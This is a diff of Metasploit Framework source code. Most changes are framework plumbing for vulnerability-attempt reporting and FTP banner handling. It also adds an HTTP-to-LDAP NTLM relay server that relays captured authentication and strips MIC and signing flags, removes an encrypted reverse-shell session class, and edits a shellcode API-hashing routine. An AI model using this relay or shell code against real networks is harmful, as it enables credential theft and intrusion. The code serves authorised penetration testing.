loop_funcname: ;
xor eax, eax ; Clear EAX
@@ -67,7 +67,6 @@ loop_funcname: ;
add edi, eax ; Add the next byte of the name
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue
add edi, [ebp-8] ; Add the current module hash to the function hash
cmp edi, [ebp+0x24] ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
+3 -2
View File
@@ -76,10 +76,11 @@ def unicode(string, uppercase=True):
def hash(module, function, bits=13, print_hash=True):
module_hash = 0
function_hash = 0
for c in unicode(module + '\x00'):
for c in unicode(module):
module_hash = ror(module_hash, bits)
module_hash += ord(c)
for c in str(function + b'\x00'):
function_hash = module_hash
for c in str(function + '\x00'):
function_hash = ror(function_hash, bits)
function_hash += ord(c)
h = module_hash + function_hash & 0xFFFFFFFF
-6
View File
@@ -6,16 +6,10 @@
#
require 'active_support'
require 'bcrypt'
require 'json'
require 'msgpack'
require 'metasploit/credential'
require 'nokogiri'
# railties has not autorequire defined
# rkelly-remix is a fork of rkelly, so it's autorequire is 'rkelly' and not 'rkelly-remix'
require 'rkelly'
require 'robots'
require 'zip'
require 'msf'
#
# Project
@@ -7,7 +7,6 @@ module Metasploit
MINGW_X64 = 'x86_64-w64-mingw32-gcc'
INCLUDE_DIR = File.join(Msf::Config.data_directory, 'headers', 'windows', 'c_payload_util')
UTILITY_DIR = File.join(Msf::Config.data_directory, 'utilities', 'encrypted_payload')
OPTIMIZATION_FLAGS = [ 'Os', 'O0', 'O1', 'O2', 'O3', 'Og' ]
def compile_c(src)
+1 -1
View File
@@ -32,7 +32,7 @@ module Metasploit
end
end
VERSION = "6.4.127"
VERSION = "6.4.133"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
-7
View File
@@ -132,13 +132,6 @@ Shell Banner:
# Only populate +session.info+ with a captured banner if the shell is responsive and verified
session.info = session_info if session.info.blank?
session
else
# Encrypted shells need all information read before anything is written, so we read in the banner here. However we
# don't populate session.info with the captured value since without AutoVerify there's no way to be certain this
# actually is a banner and not junk/malicious input
if session.class == ::Msf::Sessions::EncryptedShell
shell_read(-1, 0.1)
end
end
end
-113
View File
@@ -1,113 +0,0 @@
# -*- coding: binary -*-
require 'securerandom'
module Msf
module Sessions
class EncryptedShell < Msf::Sessions::CommandShell
include Msf::Session::Basic
include Msf::Session::Provider::SingleCommandShell
include Msf::Payload::Windows::PayloadDBConf
attr_accessor :arch
attr_accessor :platform
attr_accessor :iv
attr_accessor :key
attr_accessor :staged
attr_accessor :chacha_cipher
# define some sort of method that checks for
# the existence of payload in the db before
# using datastore
def initialize(rstream, opts={})
self.arch ||= ""
self.platform = "windows"
@staged = opts[:datastore][:staged]
super
end
def type
"Encrypted"
end
def desc
"Encrypted reverse shell"
end
def self.type
self.class.type = "Encrypted"
end
def bootstrap(datastore = {}, handler = nil)
@key = datastore[:key] || datastore['ChachaKey']
nonce = datastore[:nonce] || datastore['ChachaNonce']
@iv = nonce
# staged payloads retrieve UUID via
# handle_connection() in stager.rb
unless @staged
curr_uuid = rstream.get_once(16, 1)
@key, @nonce = retrieve_chacha_creds(curr_uuid)
@iv = @nonce ? @nonce : "\0" * 12
unless @key && @nonce
print_status('Failed to retrieve key/nonce for uuid. Resorting to datastore')
@key = datastore['ChachaKey']
@iv = datastore['ChachaNonce']
end
end
new_nonce = SecureRandom.hex(6)
new_key = SecureRandom.hex(16)
@chacha_cipher = Rex::Crypto::Chacha20.new(@key, @iv)
new_cipher = @chacha_cipher.chacha20_crypt(new_nonce + new_key)
rstream.write(new_cipher)
@key = new_key
@iv = new_nonce
@chacha_cipher.reset_cipher(@key, @iv)
super(datastore, handler)
end
##
# Overridden from Msf::Sessions::CommandShell#shell_read
#
# Read encrypted data from console and decrypt it
#
def shell_read(length=-1, timeout=1)
rv = rstream.get_once(length, timeout)
# Needed to avoid crashing the +chacha20_crypt+ method
return nil unless rv
decrypted = @chacha_cipher.chacha20_crypt(rv)
framework.events.on_session_output(self, decrypted) if decrypted
return decrypted
rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE => e
shell_close
raise e
end
##
# Overridden from Msf::Sessions::CommandShell#shell_write
#
# Encrypt data then write it to the console
#
def shell_write(buf)
return unless buf
framework.events.on_session_command(self, buf.strip)
encrypted = @chacha_cipher.chacha20_crypt(buf)
rstream.write(encrypted)
rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE => e
shell_close
raise e
end
end
end
end
+4
View File
@@ -175,9 +175,13 @@ protected
begin
begin
job_listener.start run_uuid
mod.check_code = nil if mod.respond_to?(:check_code=)
mod.last_vuln_attempt = nil if mod.respond_to?(:last_vuln_attempt=)
mod.setup
mod.framework.events.on_module_run(mod)
result = block.call(mod)
# Store the check result if the block returned a CheckCode
mod.check_code = result if result.is_a?(Msf::Exploit::CheckCode)
job_listener.completed(run_uuid, result, mod)
rescue ::Exception => e
job_listener.failed(run_uuid, e, mod)
+12
View File
@@ -181,6 +181,18 @@ class Auxiliary < Msf::Module
#
attr_accessor :fail_detail
#
# The result of the last check invocation (a Msf::Exploit::CheckCode), if any
#
attr_accessor :check_code
#
# The VulnAttempt object created during this run, or nil/false if none
# was recorded. Used to prevent duplicate attempts when report_failure
# is called later and to enrich the attempt with check code details.
#
attr_accessor :last_vuln_attempt
attr_accessor :queue
protected
@@ -17,12 +17,20 @@ module Auxiliary::MultipleTargetHosts
end
def check
return Exploit::CheckCode::Unsupported unless has_check?
nmod = replicant
begin
nmod.check_host(datastore['RHOST'])
rescue NoMethodError
Exploit::CheckCode::Unsupported
result = nmod.check_host(datastore['RHOST'])
# Propagate the last_vuln_attempt (which may be the actual VulnAttempt
# object) back from the replicant so that the ensure block in
# job_run_proc (which calls report_failure on the *original* instance)
# knows a vuln attempt was already created and can enrich it directly.
if nmod.respond_to?(:last_vuln_attempt) && nmod.last_vuln_attempt && respond_to?(:last_vuln_attempt=)
self.last_vuln_attempt = nmod.last_vuln_attempt
end
result
end
end
+22 -2
View File
@@ -314,11 +314,31 @@ module Auxiliary::Report
:fail_detail => 'vulnerability identified',
:fail_reason => 'Untried', # Mdm::VulnAttempt::Status::UNTRIED, avoiding direct dependency on Mdm, used elsewhere in this module
:module => mname,
:username => username || "unknown"
:username => username || self.owner || "unknown"
}
# Enrich attempt with check code details when available.
# Accept an explicit check_code in opts (useful when the module knows the
# result before the framework sets self.check_code), falling back to the
# module-level accessor.
check_code = opts[:check_code]
check_code = self.check_code if check_code.nil? && self.respond_to?(:check_code)
if check_code.is_a?(Msf::Exploit::CheckCode)
attempt_info[:check_code] = check_code.code
attempt_info[:check_detail] = check_code.reason || check_code.message
attempt_info[:fail_detail] = nil
mapped_reason = Msf::Module::Failure.fail_reason_from_check_code(check_code)
attempt_info[:fail_reason] = mapped_reason if mapped_reason
end
# TODO: figure out what opts are required and why the above logic doesn't match that of the db_manager method
framework.db.report_vuln_attempt(vuln, attempt_info)
attempt = framework.db.report_vuln_attempt(vuln, attempt_info)
# Store the attempt object so that report_failure (called later by the
# job wrapper) can enrich it directly without re-querying the DB.
if self.respond_to?(:last_vuln_attempt=)
self.last_vuln_attempt = attempt || true
end
vuln
end
+15
View File
@@ -15,6 +15,19 @@ include Msf::Auxiliary::MultipleTargetHosts
class AttemptFailed < Msf::Auxiliary::Failed
end
# Scanner modules handle per-host failure reporting through replicants
# inside their run_host/run_batch threads. Override the default
# report_failure so that the parent-level call from job_run_proc's
# ensure block does not create a duplicate or misattributed attempt
# after a scan. The check path (check_simple) still needs the
# default report_failure behaviour, so we only skip when the scanner's
# run method has executed.
def report_failure
return if @scanner_run_completed
super
end
#
# Initializes an instance of a recon auxiliary module
#
@@ -42,6 +55,7 @@ end
# The command handler when launched from the console
#
def run
@scanner_run_completed = false
@show_progress = datastore['ShowProgress']
@show_percent = datastore['ShowProgressPercent'].to_i
@@ -260,6 +274,7 @@ def run
print_status("Caught interrupt from the console...")
return
ensure
@scanner_run_completed = true
seppuko!()
end
end
+42 -8
View File
@@ -79,9 +79,25 @@ module Msf::DBManager::ExploitAttempt
vuln = nil
if rids.present?
# Try to find an existing vulnerability with the same service & references
# or, if svc is nil, with the same host & references
vuln = find_vuln_by_refs(rids, host, svc, false)
# Only perform vuln lookup when no check_code is present (normal
# exploit flow) or the check result positively indicates vulnerability.
# Safe, Unknown, and Detected results should not associate this attempt
# with an existing vuln. Only key off check_code — fail_reason alone
# is too broad (e.g. Failure::Unknown covers real exploit failures too).
vuln_check_codes = [Msf::Exploit::CheckCode::Appears.code, Msf::Exploit::CheckCode::Vulnerable.code]
if opts[:check_code].nil? || vuln_check_codes.include?(opts[:check_code])
# Try to find an existing vulnerability with the same service & references
# or, if svc is nil, with the same host & references
vuln = find_vuln_by_refs(rids, host, svc, false)
# Fall back to a host-only lookup when the service-scoped query found
# nothing. Only match vulns with no associated service to avoid
# misattributing attempts to a vuln on a different service.
if svc && vuln.nil?
fallback_vuln = find_vuln_by_refs(rids, host, nil, false)
vuln = fallback_vuln if fallback_vuln && fallback_vuln.service_id.nil?
end
end
end
opts[:service] = svc
@@ -158,8 +174,20 @@ module Msf::DBManager::ExploitAttempt
# Create a references map from the module list
ref_objs = ::Mdm::Ref.where(name: ref_names)
# Try find a matching vulnerability
vuln = find_vuln_by_refs(ref_objs, host, svc, false)
# Only perform vuln lookup when no check_code is present (normal
# exploit flow) or the check result positively indicates vulnerability.
# Safe, Unknown, and Detected results should not associate this attempt
# with an existing vuln. Only key off check_code — fail_reason alone
# is too broad (e.g. Failure::Unknown covers real exploit failures too).
vuln_check_codes = [Msf::Exploit::CheckCode::Appears.code, Msf::Exploit::CheckCode::Vulnerable.code]
if opts[:check_code].nil? || vuln_check_codes.include?(opts[:check_code])
# Try find a matching vulnerability
vuln = find_vuln_by_refs(ref_objs, host, svc, false)
if svc && vuln.nil?
fallback_vuln = find_vuln_by_refs(ref_objs, host, nil, false)
vuln = fallback_vuln if fallback_vuln && fallback_vuln.service_id.nil?
end
end
end
attempt_info = {
@@ -170,12 +198,17 @@ module Msf::DBManager::ExploitAttempt
:module => mname,
:username => username || "unknown",
}
attempt_info[:check_code] = opts[:check_code] if opts[:check_code]
attempt_info[:check_detail] = opts[:check_detail] if opts[:check_detail]
attempt_info[:session_id] = opts[:session_id] if opts[:session_id]
attempt_info[:loot_id] = opts[:loot_id] if opts[:loot_id]
# We have match, lets create a vuln_attempt record
if vuln
# We have match, lets create a vuln_attempt record.
# Skip if the caller already recorded a vuln attempt for this run
# (e.g. Auxiliary::Report#report_vuln sets skip_vuln_attempt via
# the last_vuln_attempt flag on the module).
if vuln && !opts[:skip_vuln_attempt]
attempt_info[:vuln_id] = vuln.id
vuln.vuln_attempts.create(attempt_info)
@@ -200,7 +233,8 @@ module Msf::DBManager::ExploitAttempt
attempt_info[:proto] = prot || Msf::DBManager::DEFAULT_SERVICE_PROTO
end
host.exploit_attempts.create(attempt_info)
# check_code and check_detail are valid for VulnAttempt but not ExploitAttempt
host.exploit_attempts.create(attempt_info.except(:check_code, :check_detail))
}
end
@@ -85,7 +85,7 @@ module Msf
# This follows Ruby's Marshal integer encoding scheme.
def read_marshal_int
c = read_byte
c = (c ^ 256) - 256 if c > 127 # sign-extend
c -= 256 if c > 127 # sign-extend
if c == 0
0
-1
View File
@@ -1,4 +1,3 @@
require 'bcrypt'
require 'securerandom'
module Msf::DBManager::User
+5 -4
View File
@@ -101,9 +101,10 @@ module Msf::DBManager::Vuln
#
def report_vuln(opts)
return if not active
raise ArgumentError.new("Missing required option :host") if opts[:host].nil?
raise ArgumentError.new("Deprecated data column for vuln, use .info instead") if opts[:data]
name = opts[:name] || return
raise ArgumentError.new("report_vuln Missing required option :host") if opts[:host].nil?
raise ArgumentError.new("report_vuln Deprecated data column for vuln, use .info instead") if opts[:data]
raise ArgumentError.new("report_vuln Missing required option :name") if opts[:name].nil?
name = opts[:name]
info = opts[:info]
::ApplicationRecord.connection_pool.with_connection {
@@ -333,7 +334,7 @@ module Msf::DBManager::Vuln
# @param opts[:ids] [Array] Array containing Integers corresponding to the IDs of the Vuln entries to delete.
# @return [Array] Array containing the Mdm::Vuln objects that were successfully deleted.
def delete_vuln(opts)
raise ArgumentError.new("The following options are required: :ids") if opts[:ids].nil?
raise ArgumentError.new("delete_vuln The following options are required: :ids") if opts[:ids].nil?
::ApplicationRecord.connection_pool.with_connection {
deleted = []
-2
View File
@@ -2,8 +2,6 @@
module Msf
module Exe
require 'metasm'
class SegmentAppender < SegmentInjector
def payload_stub(prefix)
-2
View File
@@ -2,8 +2,6 @@
module Msf
module Exe
require 'metasm'
class SegmentInjector
attr_accessor :payload
+7
View File
@@ -1493,6 +1493,13 @@ class Exploit < Msf::Module
#
attr_accessor :fail_detail
#
# The VulnAttempt object created during this run, or nil/false if none
# was recorded. Used to prevent duplicate attempts when report_failure
# is called later and to enrich the attempt with check code details.
#
attr_accessor :last_vuln_attempt
#
# The list of targets.
#
+2 -1
View File
@@ -51,7 +51,8 @@ module Exploit::Remote::AutoCheck
name: fullname,
username: respond_to?(:owner) ? owner : nil,
refs: references,
info: description.strip
info: description.strip,
check_code: check_code
}
if respond_to?(:session) && session.respond_to?(:session_host)
+52 -8
View File
@@ -11,6 +11,7 @@ module Msf
module Exploit::Remote::Ftp
include Exploit::Remote::Tcp
include Msf::Auxiliary::Report
#
# Creates an instance of an FTP exploit module.
@@ -47,22 +48,65 @@ module Exploit::Remote::Ftp
# message is read in and stored in the 'banner' attribute.
#
def connect(global = true, verbose = nil)
verbose ||= datastore['FTPDEBUG']
verbose ||= datastore['VERBOSE']
verbose = datastore['FTPDEBUG'] || datastore['VERBOSE'] if verbose.nil?
print_status("Connecting to FTP server #{rhost}:#{rport}...") if verbose
print_status("Connecting to FTP server...") if verbose
fd = super(global)
begin
fd = super(global)
rescue ::Rex::ConnectionRefused
report_host(host: rhost)
raise
end
# Wait for a banner to arrive...
self.banner = recv_ftp_resp(fd)
print_status("Connected to target FTP server.") if verbose
print_status('Connected to target FTP server') if verbose
# Only record the service and banner when the greeting looks like FTP (RFC 959)
if self.banner&.match?(/^(120|220)[\s-]/)
# Cleaned up FTP banner
report_service(
host: rhost,
port: rport,
proto: 'tcp',
name: 'ftp',
info: Rex::Text.to_hex_ascii(banner_version),
parents: {
host: rhost,
port: rport,
proto: 'tcp',
name: 'tcp'
}
)
# Raw FTP banner
report_note(
host: rhost,
port: rport,
proto: 'tcp',
sname: 'ftp',
type: 'ftp.banner',
data: { banner: Rex::Text.to_hex_ascii(self.banner.strip) }
)
end
# Return the file descriptor to the caller
fd
end
# Extracts a normalized version string from the FTP banner
# 220 (vsFTPd 2.3.4)\x0d\x0a -> vsFTPd 2.3.4
# 220 ProFTPD 1.3.1 Server (Debian) [::ffff:10.0.0.10]\x0d\x0a -> ProFTPD 1.3.1 Server (Debian)
def banner_version
banner.to_s
.sub(/^\d{3}[\s-]/, '')
.strip
.gsub(/\A\(|\)\z/, '')
.gsub(/\s*\[(?:(?:\d{1,3}\.){3}\d{1,3}|[0-9A-Fa-f:]*:[0-9A-Fa-f:.]+)\]/, '')
end
#
# This method handles establishing datasocket for data channel
#
@@ -133,8 +177,8 @@ module Exploit::Remote::Ftp
# that have been supplied in the exploit options.
#
def connect_login(global = true, verbose = nil)
verbose ||= datastore['FTPDEBUG']
verbose ||= datastore['VERBOSE']
verbose = datastore['FTPDEBUG'] || datastore['VERBOSE'] if verbose.nil?
ftpsock = ftp_connect(global, verbose)
if !(user and pass)
@@ -312,7 +356,7 @@ module Exploit::Remote::Ftp
if not found_end
resp << ln
resp << "\r\n"
if ln.length > 3 and ln[3,1] == ' '
if ln.length > 3 and ln[3,1] == ' ' and ln[0,3] =~ /\A\d{3}\z/
found_end = true
end
else
@@ -1,7 +1,7 @@
# 3rd party gems
require 'http/cookie_jar/hash_store'
require 'http/cookie_jar'
require 'http/cookie'
require 'http/cookie_jar'
require 'http/cookie_jar/hash_store'
# This class is a collection of Http Cookies with some built in convenience methods.
# Acts as a wrapper for the +::HTTP::CookieJar+ (https://www.rubydoc.info/gems/http-cookie/1.0.2/HTTP/CookieJar) class.
@@ -0,0 +1,109 @@
# -*- coding: binary -*-
# frozen_string_literal: true
module Msf
module Exploit::Remote::HttpServer
module Relay
include ::Msf::Auxiliary::MultipleTargetHosts
include ::Msf::Exploit::Remote::Relay::NTLM::HashCapture
include Msf::Exploit::Remote::HttpServer
attr_reader :logger
def initialize(info = {})
super
register_options(
[
OptPort.new('SRVPORT', [true, 'The local port to listen on.', 80]),
OptAddress.new('SRVHOST', [ true, 'The local host to listen on.', '0.0.0.0' ]),
OptAddressRange.new('RHOSTS', [true, 'Target address range or CIDR identifier to relay to'], aliases: ['LDAPHOST', 'RELAY_TARGETS']),
OptInt.new('RELAY_TIMEOUT', [true, 'Seconds that the relay socket will wait for a response after the client has initiated communication.', 25])
], self.class
)
@relay_clients = {}
@relay_clients_mutex = Mutex.new
end
def start_service(opts = {})
@logger = opts['Logger'] || self
super
@http_relay_service = self.service
relay_path = '/'
add_resource(
'Proc' => Proc.new { |cli, req| on_relay_request(cli, req) },
'Path' => relay_path
)
end
def on_relay_request(cli, req)
client_id = Rex::Socket.to_authority(cli.peerhost, cli.peerport)
cli.keepalive = true
relay_client = nil
print_status("Received #{req.method} request for #{req.uri} from #{client_id}")
# When the 307 redirect is sent to the client, it reconnects on a different port. So the relay server has to keep
# track of the redirect URIs and associate them with the same client session. This allows the state machine to
# continue seamlessly even if the client is bouncing between ports. Tracking the client ports but not redirect
# URI's ends up in an infinite loop of 307 redirects because the client appears to be a new session on each
# request. Tracking the redirect URI's allows us to correlate the new connection with the existing session
# and avoid the redirect loop.
@relay_clients_mutex.synchronize do
# Try to find the client by their exact TCP connection
if @relay_clients.key?(client_id)
relay_client = @relay_clients[client_id]
relay_client.cli = cli
else
previous_client_id = @relay_clients.keys.find { |k| @relay_clients[k].redirect_uri == req.uri && req.uri != '/' }
if previous_client_id
# Seamlessly transfer the state machine from the old port to the new port
relay_client = @relay_clients.delete(previous_client_id)
relay_client.cli = cli
@relay_clients[client_id] = relay_client
else
# This is a truly new client session
relay_client = Msf::Exploit::Remote::HttpServer::Relay::NTLM::ServerClient.new(
cli,
relay_targets,
logger,
datastore['RELAY_TIMEOUT']
)
relay_client.redirect_uri = req.uri # Track their starting path
@relay_clients[client_id] = relay_client
end
end
end
relay_client.process_request(req)
@relay_clients_mutex.synchronize do
if relay_client.finished? && @relay_clients[client_id].equal?(relay_client)
@relay_clients.delete(client_id)
end
end
end
def send_auth_challenge(cli)
res = Rex::Proto::Http::Response.new
res.code = 401
res.message = "Unauthorized"
res.headers['WWW-Authenticate'] = "NTLM"
cli.put(res.to_s)
end
def cleanup
if @http_relay_service
@http_relay_service.remove_resource('/')
Rex::ServiceManager.stop_service(@http_relay_service)
end
super
end
end
end
end
@@ -0,0 +1,374 @@
# frozen_string_literal: true
module Msf::Exploit::Remote::HttpServer::Relay::NTLM
class ServerClient
attr_reader :logger
attr_accessor :cli, :state, :redirect_uri
def initialize(cli, relay_targets, logger, timeout = 25)
@cli = cli
@state = :unauthenticated
@relay_targets = relay_targets
@logger = logger
@timeout = timeout
@relayed_connection = nil
@current_target = nil
@ntlm_context = {
wrapper: :none,
type1: nil,
type2: nil
}
end
def process_request(req)
logger.print_status("Processing request in state #{state} from #{cli.peerhost}")
auth_header = req.headers['Authorization']
auth_type, b64_message = extract_ntlm_message(auth_header)
parsed_ntlm = nil
raw_ntlm_bytes = nil
if b64_message
begin
raw_ntlm_bytes = unwrap_ntlm_base64(b64_message)
parsed_ntlm = Net::NTLM::Message.parse(raw_ntlm_bytes)
rescue ::Exception => e
logger.print_error("Failed to parse incoming NTLM/SPNEGO message: #{e.message}")
abort_connection("Invalid NTLM payload.")
return
end
end
case state
when :unauthenticated
if parsed_ntlm.nil?
send_401_challenge
elsif parsed_ntlm.is_a?(Net::NTLM::Message::Type1)
logger.print_status("Received Type 1 message from #{cli.peerhost}, attempting to relay...")
handle_type1(raw_ntlm_bytes, parsed_ntlm, auth_type)
else
abort_connection("Expected No Auth or Type 1, got something else.")
end
when :awaiting_type3
if parsed_ntlm && parsed_ntlm.is_a?(Net::NTLM::Message::Type3)
logger.print_status("Received Type 3 message from #{cli.peerhost}, attempting to relay...")
handle_type3(parsed_ntlm)
elsif parsed_ntlm && parsed_ntlm.is_a?(Net::NTLM::Message::Type1)
logger.print_warning("Client restarted the handshake! Resetting state to handle new Type 1...")
@relayed_connection.disconnect! if @relayed_connection
@relayed_connection = nil
handle_type1(raw_ntlm_bytes, parsed_ntlm, auth_type)
else
abort_connection("Expected Type 3, got something else.")
end
when :done
# The relay is finished for this connection, ignore further requests
end
end
def create_relay_client(target, timeout)
case target.protocol
when :ldap
client = Msf::Exploit::Remote::Relay::NTLM::Target::LDAP::Client.create(self, target, logger, timeout)
else
raise RuntimeError, "unsupported protocol: #{target.protocol}"
end
client
rescue ::Rex::ConnectionTimeout => e
msg = "Timeout error retrieving server challenge from target #{target}. Most likely caused by unresponsive target"
elog(msg, error: e)
logger.print_error msg
nil
rescue ::Exception => e
msg = "Unable to create relay to #{target}"
elog(msg, error: e)
logger.print_error msg
nil
end
def finished?
state == :done || state == :aborted
end
def send_401_challenge
res = Rex::Proto::Http::Response.new
res.code = 401
res.message = "Unauthorized"
res.headers['WWW-Authenticate'] = "NTLM, Negotiate"
res.headers['Connection'] = "Keep-Alive"
res.headers['Content-Length'] = "0"
res.body = ""
cli.put(res.to_s)
end
def handle_type1(raw_ntlm_bytes, parsed_ntlm, auth_type)
@ntlm_context[:type1] = raw_ntlm_bytes
@current_target ||= @relay_targets.next(cli.peerhost)
if @current_target.nil?
logger.print_status("Target list exhausted for #{cli.peerhost}. Closing connection.")
res = Rex::Proto::Http::Response.new
res.code = 404
res.message = "Not Found"
res.headers['Connection'] = "Close"
res.headers['Content-Length'] = "0"
cli.send_response(res)
@state = :done
return
end
begin
logger.print_status("Attempting to relay to #{Rex::Socket.to_authority(@current_target.ip, @current_target.port)}")
@relayed_connection = create_relay_client(@current_target, @timeout)
if @relayed_connection.nil?
logger.print_error("Connection to #{@current_target.ip} failed: unable to create relay client")
advance_to_next_target_via_redirect
return
end
if @current_target.drop_mic_and_sign_key_exch_flags
incoming_security_buffer = do_drop_mic_and_flags(parsed_ntlm)
elsif @current_target.drop_mic_only
incoming_security_buffer = do_drop_mic(parsed_ntlm)
else
incoming_security_buffer = parsed_ntlm.serialize
end
relay_result = @relayed_connection.relay_ntlmssp_type1(incoming_security_buffer)
if relay_result && relay_result.nt_status == WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED
type2_msg = relay_result.message
@ntlm_context[:type2] = type2_msg
if @ntlm_context[:wrapper] == :gss_spnego
wrapped_type2 = RubySMB::Gss.gss_type2(type2_msg.serialize)
target_type2_msg = Rex::Text.encode_base64(wrapped_type2)
auth_header = "#{auth_type} #{target_type2_msg}"
else
target_type2_msg = Rex::Text.encode_base64(type2_msg.serialize)
auth_header = "#{auth_type} #{target_type2_msg}"
end
logger.print_status("Received type2 from target #{@current_target.protocol}://#{Rex::Socket.to_authority(@current_target.ip, @current_target.port)}, attempting to relay back to client")
res = Rex::Proto::Http::Response.new
res.code = 401
res.message = "Unauthorized"
res.headers['WWW-Authenticate'] = auth_header
res.headers['Connection'] = "Keep-Alive"
res.headers['Content-Length'] = "0"
cli.send_response(res)
@state = :awaiting_type3
return
else
logger.print_error("Target #{@current_target.ip} rejected the Type 1 message.")
end
rescue ::Exception => e
logger.print_error("Connection to #{@current_target.ip} failed: #{e.message}")
end
advance_to_next_target_via_redirect
end
def complete_current_relay_attempt(is_success:, identity: nil)
return unless @current_target
@relay_targets.on_relay_end(@current_target, identity: identity, is_success: is_success)
end
def handle_type3(parsed_type3)
relay_succeeded = false
relay_completed = false
# 1. Safely extract the identity from the Type 3 message early
identity = nil
if parsed_type3
domain = parsed_type3.domain.to_s.force_encoding('UTF-8')
user = parsed_type3.user.to_s.force_encoding('UTF-8')
identity = "#{domain}\\#{user}" unless user.empty?
end
if @current_target.drop_mic_and_sign_key_exch_flags
incoming_security_buffer = do_drop_mic_and_flags(parsed_type3)
elsif @current_target.drop_mic_only
incoming_security_buffer = do_drop_mic(parsed_type3)
else
incoming_security_buffer = parsed_type3.serialize
end
relay_result = @relayed_connection.relay_ntlmssp_type3(incoming_security_buffer)
if relay_result && relay_result.nt_status == WindowsError::NTStatus::STATUS_SUCCESS
relay_succeeded = true
logger.on_ntlm_type3(
address: @relayed_connection.target.ip,
ntlm_type1: @ntlm_context[:type1],
ntlm_type2: @ntlm_context[:type2],
ntlm_type3: parsed_type3,
service_name: 'HTTP'
)
if identity.blank?
logger.print_status("Anonymous Identity - Successfully authenticated against relay target #{@relayed_connection.target.ip}")
@relayed_connection.disconnect! if @relayed_connection
else
logger.print_good("Identity: #{identity} - Successfully relayed NTLM authentication to LDAP!")
logger.on_relay_success(relay_connection: @relayed_connection, relay_identity: identity)
end
@relayed_connection = nil
else
logger.print_error("Relayed authentication failed or was rejected by LDAP.")
@relayed_connection.disconnect! if @relayed_connection
@relayed_connection = nil
end
complete_current_relay_attempt(is_success: relay_succeeded, identity: identity)
relay_completed = true
@state = :done
advance_to_next_target_via_redirect
rescue StandardError => e
logger.print_error("Relaying type 3 message to target #{@current_target.ip} failed: #{e.message}")
complete_current_relay_attempt(is_success: false, identity: identity) unless relay_completed
end
def advance_to_next_target_via_redirect
@current_target = @relay_targets.next(@cli.peerhost)
if @current_target
random_path = "/" + Rex::Text.rand_text_alphanumeric(10)
@redirect_uri = random_path
@logger.print_status("Moving to next target (#{@current_target.ip}). Issuing 307 Redirect to #{random_path}")
res = Rex::Proto::Http::Response.new
res.code = 307
res.message = "Temporary Redirect"
res.headers['Location'] = random_path
res.headers['Connection'] = "keep-alive"
res.headers['Content-Length'] = "0"
cli.send_response(res)
@state = :unauthenticated
@ntlm_context[:type1] = nil
@ntlm_context[:type2] = nil
else
@logger.print_status("Target list exhausted for #{cli.peerhost}. Closing connection.")
res = Rex::Proto::Http::Response.new
res.code = 404
res.message = "Not Found"
res.headers['Connection'] = "close"
res.headers['Content-Length'] = "0"
cli.send_response(res)
@state = :done
end
end
def abort_connection(reason)
logger.print_error("Aborting connection with #{cli.peerhost}: #{reason}")
res = Rex::Proto::Http::Response.new
res.code = 400
res.message = "Bad Request"
res.headers['Connection'] = "Close"
res.headers['Content-Length'] = "0"
res.body = ""
cli.put(res.to_s)
@state = :aborted
end
def unwrap_ntlm_base64(b64_msg)
buf = Rex::Text.decode_base64(b64_msg)
if valid_ntlm_blob?(buf)
@ntlm_context[:wrapper] = :none
return buf
end
gss_api = OpenSSL::ASN1.decode(buf)
if gss_api&.tag == 0 && gss_api&.tag_class == :APPLICATION
logger.print_status("Detected GSS-SPNEGO wrapping around the type1 NTLM message")
@ntlm_context[:wrapper] = :gss_spnego
return process_gss_spnego_init(buf)
elsif gss_api&.tag == 1 && gss_api&.tag_class == :CONTEXT_SPECIFIC
logger.print_status("Detected GSS-SPNEGO wrapping around the type3 NTLM message")
@ntlm_context[:wrapper] = :gss_spnego
return process_gss_spnego_targ(buf)
end
raise ArgumentError, "Unrecognized NTLM or SPNEGO payload"
end
def extract_ntlm_message(auth_header)
return nil unless auth_header
# Match either "NTLM <base64>" or "Negotiate <base64>" (case insensitive)
if auth_header =~ /^(NTLM|Negotiate)\s+(.+)$/i
return $1, $2 # Return The auth type and the base64 message
end
nil
end
private
def valid_ntlm_blob?(blob)
blob&.start_with?("NTLMSSP\x00")
end
def validate_ntlm_blob!(blob)
raise ArgumentError, 'The NTLM blob found was malformed' unless valid_ntlm_blob?(blob)
end
def process_gss_spnego_init(incoming_security_buffer)
begin
gss_init = Rex::Proto::Gss::SpnegoNegTokenInit.parse(incoming_security_buffer)
ntlm_blob = gss_init.mech_token
validate_ntlm_blob!(ntlm_blob)
ntlm_blob
rescue RASN1::ASN1Error => e
raise ArgumentError, "Failed to parse NTLMSSP Type1 from GSS: #{e.message}"
end
end
def process_gss_spnego_targ(incoming_security_buffer)
begin
gss_targ = Rex::Proto::Gss::SpnegoNegTokenTarg.parse(incoming_security_buffer)
ntlm_blob = gss_targ.response_token
validate_ntlm_blob!(ntlm_blob)
ntlm_blob
rescue RASN1::ASN1Error, ArgumentError => e
raise ArgumentError, "Failed to parse NTLMSSP Type3 from GSS: #{e.message}"
end
end
def do_drop_mic(ntlm_message)
logger.print_status('Dropping MIC')
ntlm_message.serialize
end
def do_drop_mic_and_flags(ntlm_message)
logger.print_status('Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`')
flags = ntlm_message.flag
flags &= ~Net::NTLM::FLAGS[:ALWAYS_SIGN] & ~Net::NTLM::FLAGS[:SIGN] & ~Net::NTLM::FLAGS[:KEY_EXCHANGE]
ntlm_message.flag = flags
ntlm_message.serialize
end
end
end
+1 -1
View File
@@ -60,7 +60,7 @@ module Exploit::Remote::MsSamr
rescue RubySMB::Dcerpc::Error::DcerpcError => e
elog(e.message, error: e)
raise MsSamrUnexpectedReplyError, e.message
rescue RubySMB::Error::RubySMBError
rescue RubySMB::Error::RubySMBError => e
elog(e.message, error: e)
raise MsSamrUnknownError, e.message
end
@@ -55,11 +55,21 @@ module Msf::Exploit::Remote::Relay::NTLM::Target::LDAP
)
end
# Determines whether the relay connection originated from an HTTP server.
#
# @return [Boolean] true if the provider's class name contains 'httpserver', false otherwise.
def is_http_source?
@provider && @provider.class.name.to_s.downcase.include?('httpserver')
end
# @param [String] client_type3_msg
